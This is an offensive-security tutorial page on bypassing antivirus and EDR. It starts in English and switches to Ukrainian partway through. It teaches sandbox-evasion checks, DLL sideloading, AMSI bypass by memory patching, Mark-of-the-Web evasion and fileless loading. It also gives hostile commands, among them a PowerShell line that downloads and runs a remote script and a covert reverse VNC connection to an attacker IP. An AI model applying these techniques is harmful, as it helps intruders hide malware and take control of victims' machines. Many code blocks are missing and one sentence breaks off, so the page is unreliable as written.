Antivirus (AV) Bypass
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
If you are interested in hacking career and hack the unhackable - we are hiring! (вимагається вільне володіння польською мовою в письмовій та усній формі).
This page was written by @m2rc_p!
Currently, AVs use different methods for checking if a file is malicious or not, static detection, dynamic analysis, and for the more advanced EDRs, behavioural analysis.
Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection:
Encryption
If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory.
Obfuscation
Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate.
Custom tooling
If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort.
A good way for checking against Windows Defender static detection is ThreatCheck. It basically splits the file into multiple segments and then tasks Defender to scan each one individually, this way, it can tell you exactly what are the flagged strings or bytes in your binary.
I highly recommend you check out this YouTube playlist about practical AV Evasion.
Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes.
Sleep before execution Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented.
Checking machine's resources Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox.
Machine-specific checks If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit.
It turns out that Microsoft Defender's Sandbox computername is HAL9TH, so, you can check for the computer name in your malware before detonation, if the name matches HAL9TH, it means you're inside defender's sandbox, so you can make your program exit.
Some other really good tips from @mgeeky for going against Sandboxes
As we've said before in this post, public tools will eventually get detected, so, you should ask yourself something:
For example, if you want to dump LSASS, do you really need to use mimikatz? Or could you use a different project which is lesser known and also dumps LSASS.
The right answer is probably the latter. Taking mimikatz as an example, it's probably one of, if not the most flagged piece of malware by AVs and EDRs, while the project itself is super cool, it's also a nightmare to work with it to get around AVs, so just look for alternatives for what you're trying to achieve.
When modifying your payloads for evasion, make sure to turn off automatic sample submission in defender, and please, seriously, DO NOT UPLOAD TO VIRUSTOTAL if your goal is achieving evasion in the long run. If you want to check if your payload gets detected by a particular AV, install it on a VM, try to turn off the automatic sample submission, and test it there until you're satisfied with the result.
Whenever it's possible, always prioritize using DLLs for evasion, in my experience, DLL files are usually way less detected and analyzed, so it's a very simple trick to use in order to avoid detection in some cases (if your payload has some way of running as a DLL of course).
As we can see in this image, a DLL Payload from Havoc has a detection rate of 4/26 in antiscan.me, while the EXE payload has a 7/26 detection rate.
Now we'll show some tricks you can use with DLL files to be much more stealthier.
DLL Sideloading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.
You can check for programs susceptible to DLL Sideloading using Siofra and the following powershell script:
Ця команда виведе список програм, які підлягають атаці через підміни DLL у "C:\Program Files\" та DLL файли, які вони намагаються завантажити.
Я настійно рекомендую вам самостійно дослідити програми, які можна підмінити/завантажити DLL, ця техніка досить непомітна, якщо її правильно виконати, але якщо ви використовуєте публічно відомі програми, які можна підмінити DLL, вас можуть легко спіймати.
Просто розмістивши шкідливу DLL з ім'ям, яке програма очікує завантажити, не запустить ваш вантаж, оскільки програма очікує деякі специфічні функції всередині цієї DLL. Щоб вирішити цю проблему, ми використаємо іншу техніку, звану DLL Proxying/Forwarding.
DLL Proxying перенаправляє виклики, які програма робить з проксі (і шкідливої) DLL до оригінальної DLL, таким чином зберігаючи функціональність програми та здатність обробляти виконання вашого вантажу.
Я буду використовувати проект SharpDLLProxy від @flangvik
Це кроки, які я виконав:
Остання команда надасть нам 2 файли: шаблон вихідного коду DLL та оригінальну перейменовану DLL.
Це результати:
Як наш shellcode (закодований за допомогою SGN), так і проксі DLL мають 0/26 рівень виявлення на antiscan.me! Я б назвав це успіхом.
Я щиро рекомендую вам подивитися S3cur3Th1sSh1t's twitch VOD про DLL Sideloading, а також відео ippsec, щоб дізнатися більше про те, що ми обговорювали більш детально.
Freeze - це набір інструментів для обходу EDR, використовуючи призупинені процеси, прямі системні виклики та альтернативні методи виконання
Ви можете використовувати Freeze для завантаження та виконання вашого shellcode у прихований спосіб.
Уникнення - це просто гра в кішки-мишки, те, що працює сьогодні, може бути виявлено завтра, тому ніколи не покладайтеся лише на один інструмент, якщо можливо, спробуйте поєднувати кілька технік уникнення.
AMSI був створений для запобігання "безфайловому шкідливому ПЗ". Спочатку антивірусні програми могли сканувати лише файли на диску, тому, якщо ви могли якимось чином виконати корисне навантаження безпосередньо в пам'яті, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки не мав достатньої видимості.
Функція AMSI інтегрована в ці компоненти Windows.
Контроль облікових записів користувачів, або UAC (підвищення прав EXE, COM, MSI або установки ActiveX)
PowerShell (скрипти, інтерактивне використання та динамічна оцінка коду)
Windows Script Host (wscript.exe та cscript.exe)
JavaScript та VBScript
Макроси Office VBA
Вона дозволяє антивірусним рішенням перевіряти поведінку скриптів, відкриваючи вміст скриптів у формі, яка є як незашифрованою, так і не заплутаною.
Виконання IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
викличе наступне сповіщення в Windows Defender.
Зверніть увагу, як передує amsi:
і потім шлях до виконуваного файлу, з якого запустився скрипт, у цьому випадку, powershell.exe
Ми не скинули жодного файлу на диск, але все ж були спіймані в пам'яті через AMSI.
Є кілька способів обійти AMSI:
Заплутування
Оскільки AMSI в основному працює з статичними виявленнями, тому модифікація скриптів, які ви намагаєтеся завантажити, може бути хорошим способом уникнути виявлення.
Однак AMSI має можливість розплутувати скрипти, навіть якщо у них кілька шарів, тому заплутування може бути поганим варіантом залежно від того, як це зроблено. Це ускладнює уникнення. Хоча іноді все, що вам потрібно зробити, це змінити кілька імен змінних, і ви будете в порядку, тому це залежить від того, наскільки щось було позначено.
Обхід AMSI
Оскільки AMSI реалізується шляхом завантаження DLL у процес PowerShell (також cscript.exe, wscript.exe тощо), його можна легко підробити, навіть працюючи як неправа користувача. Через цей недолік у реалізації AMSI дослідники знайшли кілька способів уникнути сканування AMSI.
Примусова помилка
Примусове завершення ініціалізації AMSI (amsiInitFailed) призведе до того, що для поточного процесу не буде ініційовано жодного сканування. Спочатку це було розкрито Метом Грейбером, і Microsoft розробила підпис, щоб запобігти більш широкому використанню.
Все, що було потрібно, це один рядок коду PowerShell, щоб зробити AMSI непридатним для поточного процесу PowerShell. Цей рядок, звичайно, був позначений самим AMSI, тому потрібні деякі модифікації, щоб використовувати цю техніку.
Ось модифікований обхід AMSI, який я взяв з цього Github Gist.
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
Memory Patching
Цю техніку спочатку виявив @RastaMouse, і вона полягає у знаходженні адреси для функції "AmsiScanBuffer" в amsi.dll (відповідальної за сканування введених користувачем даних) та переписуванні її інструкціями, які повертають код для E_INVALIDARG, таким чином, результат фактичного сканування поверне 0, що інтерпретується як чистий результат.
Please read https://rastamouse.me/memory-patching-amsi-bypass/ for a more detailed explanation.
Існує також багато інших технік, які використовуються для обходу AMSI за допомогою powershell, ознайомтеся з цією сторінкою та цим репозиторієм, щоб дізнатися більше про них.
Або цей скрипт, який через пам'ятеве патчування буде патчити кожен новий Powersh
Існує кілька інструментів, які можна використовувати для обфускації C# коду у відкритому тексті, генерації метапрограмних шаблонів для компіляції бінарних файлів або обфускації скомпільованих бінарних файлів, таких як:
InvisibilityCloak: C# обфускатор
Obfuscator-LLVM: Метою цього проекту є надання відкритого форка компіляційного пакету LLVM, здатного забезпечити підвищену безпеку програмного забезпечення через обфускацію коду та захист від підробки.
ADVobfuscator: ADVobfuscator демонструє, як використовувати мову C++11/14
для генерації обфускованого коду під час компіляції без використання будь-якого зовнішнього інструменту та без модифікації компілятора.
obfy: Додає шар обфускованих операцій, згенерованих за допомогою шаблонного метапрограмування C++, що ускладнить життя людині, яка хоче зламати додаток.
Alcatraz: Alcatraz - це обфускатор бінарних файлів x64, здатний обфускувати різні файли pe, включаючи: .exe, .dll, .sys
metame: Metame - це простий двигун метаморфного коду для довільних виконуваних файлів.
ropfuscator: ROPfuscator - це детальний фреймворк обфускації коду для мов, що підтримуються LLVM, з використанням ROP (програмування, орієнтованого на повернення). ROPfuscator обфускує програму на рівні асемблерного коду, перетворюючи звичайні інструкції на ROP-ланцюги, що ускладнює наше природне сприйняття нормального потоку управління.
Nimcrypt: Nimcrypt - це .NET PE Crypter, написаний на Nim.
inceptor: Inceptor здатний перетворювати існуючі EXE/DLL у shellcode, а потім завантажувати їх.
Ви, можливо, бачили цей екран, коли завантажували деякі виконувані файли з Інтернету та виконували їх.
Microsoft Defender SmartScreen - це механізм безпеки, призначений для захисту кінцевого користувача від запуску потенційно шкідливих додатків.
SmartScreen в основному працює на основі репутації, що означає, що незвичайно завантажені програми активують SmartScreen, тим самим попереджаючи та заважаючи кінцевому користувачу виконувати файл (хоча файл все ще можна виконати, натиснувши Більше інформації -> Запустити все ж).
MoTW (Mark of The Web) - це NTFS Alternate Data Stream з назвою Zone.Identifier, яка автоматично створюється під час завантаження файлів з Інтернету разом з URL-адресою, з якої вони були завантажені.
It's important to note that executables signed with a trusted signing certificate won't trigger SmartScreen.
Дуже ефективний спосіб запобігти тому, щоб ваші корисні навантаження отримали Mark of The Web, - це упакувати їх у якийсь контейнер, наприклад, ISO. Це відбувається тому, що Mark-of-the-Web (MOTW) не може бути застосований до не NTFS томів.
PackMyPayload - це інструмент, який упакує корисні навантаження в вихідні контейнери, щоб уникнути Mark-of-the-Web.
Example usage:
Ось демонстрація обходу SmartScreen шляхом упаковки payload у файли ISO за допомогою PackMyPayload
Завантаження бінарних файлів C# в пам'ять відомо вже досить давно, і це все ще дуже хороший спосіб запуску ваших інструментів після експлуатації без ризику бути спійманим AV.
Оскільки payload буде завантажено безпосередньо в пам'ять без доступу до диска, нам потрібно буде лише подбати про патчинг AMSI для всього процесу.
Більшість C2 фреймворків (sliver, Covenant, metasploit, CobaltStrike, Havoc тощо) вже надають можливість виконувати збірки C# безпосередньо в пам'яті, але існують різні способи зробити це:
Fork&Run
Це передбачає створення нового жертвеного процесу, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а коли закінчите, вбити новий процес. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається ззовні нашого процесу Beacon implant. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде спіймано, є набагато більша ймовірність того, що наш імплант виживе. Недолік полягає в тому, що у вас є більша ймовірність бути спійманим за допомогою поведінкових виявлень.
Inline
Це про ін'єкцію шкідливого коду після експлуатації в його власний процес. Таким чином, ви можете уникнути створення нового процесу та його сканування AV, але недолік полягає в тому, що якщо щось піде не так з виконанням вашого payload, є набагато більша ймовірність втратити ваш beacon, оскільки він може зламатися.
Якщо ви хочете дізнатися більше про завантаження збірок C#, будь ласка, ознайомтеся з цією статтею https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ та їх InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly)
Ви також можете завантажувати збірки C# з PowerShell, ознайомтеся з Invoke-SharpLoader та відео S3cur3th1sSh1t.
Як пропонується в https://github.com/deeexcee-io/LOI-Bins, можливо виконувати шкідливий код, використовуючи інші мови, надаючи скомпрометованій машині доступ до середовища інтерпретатора, встановленого на SMB-ресурсі, контрольованому зловмисником.
Дозволяючи доступ до бінарних файлів інтерпретатора та середовища на SMB-ресурсі, ви можете виконувати довільний код на цих мовах в пам'яті скомпрометованої машини.
Репозиторій вказує: Defender все ще сканує скрипти, але, використовуючи Go, Java, PHP тощо, ми маємо більшу гнучкість для обходу статичних підписів. Тестування з випадковими не обфусцированими реверс-shell скриптами на цих мовах виявилося успішним.
Ухилення - це дуже складна тема, іноді потрібно враховувати багато різних джерел телеметрії в одній системі, тому практично неможливо залишатися повністю непоміченим у зрілих середовищах.
Кожне середовище, з яким ви стикаєтеся, матиме свої власні сильні та слабкі сторони.
Я настійно рекомендую вам подивитися цю доповідь від @ATTL4S, щоб отримати уявлення про більш розширені техніки ухилення.
Це також ще одна чудова доповідь від @mariuszbit про ухилення в глибині.
Ви можете використовувати ThreatCheck, який видалить частини бінарного файлу, поки не виявить, яка частина Defender вважає шкідливою, і розділить це для вас. Інший інструмент, який робить те саме - це avred з відкритим веб-сайтом, що пропонує послугу на https://avred.r00ted.ch/
До Windows 10 всі Windows постачалися з Telnet сервером, який ви могли встановити (як адміністратор), виконавши:
Зробіть так, щоб він запускався при старті системи та запустіть його зараз:
Змінити порт telnet (приховано) та вимкнути брандмауер:
Завантажте його з: http://www.uvnc.com/downloads/ultravnc.html (вам потрібні бінарні завантаження, а не установка)
НА ХОСТІ: Виконайте winvnc.exe і налаштуйте сервер:
Увімкніть опцію Disable TrayIcon
Встановіть пароль у VNC Password
Встановіть пароль у View-Only Password
Потім перемістіть бінарний файл winvnc.exe і новостворений файл UltraVNC.ini всередину жертви
Атакуючий повинен виконати всередині свого хоста бінарний файл vncviewer.exe -listen 5900
, щоб він був підготовлений для прийому зворотного VNC з'єднання. Потім, всередині жертви: Запустіть демон winvnc winvnc.exe -run
і запустіть winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
ПОПЕРЕДЖЕННЯ: Щоб зберегти непомітність, ви не повинні робити кілька речей
Не запускайте winvnc
, якщо він вже працює, або ви викличете вікно сповіщення. перевірте, чи він працює за допомогою tasklist | findstr winvnc
Не запускайте winvnc
без UltraVNC.ini
в тому ж каталозі, інакше відкриється вікно конфігурації
Не запускайте winvnc -h
для отримання допомоги, або ви викличете вікно сповіщення
Завантажте його з: https://github.com/GreatSCT/GreatSCT
Всередині GreatSCT:
Тепер почніть лістер з msfconsole -r file.rc
і виконайте xml payload з:
Поточний захисник дуже швидко завершить процес.
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Скомпілюйте його з:
Використовуйте це з:
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
Автоматичне завантаження та виконання:
Список обфускаторів C#: https://github.com/NotPrab/.NET-Obfuscator
Якщо вас цікавить кар'єра в хакерстві і ви хочете зламати незламне - ми наймаємо! (вимагається вільне володіння польською мовою в письмовій та усній формі).
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)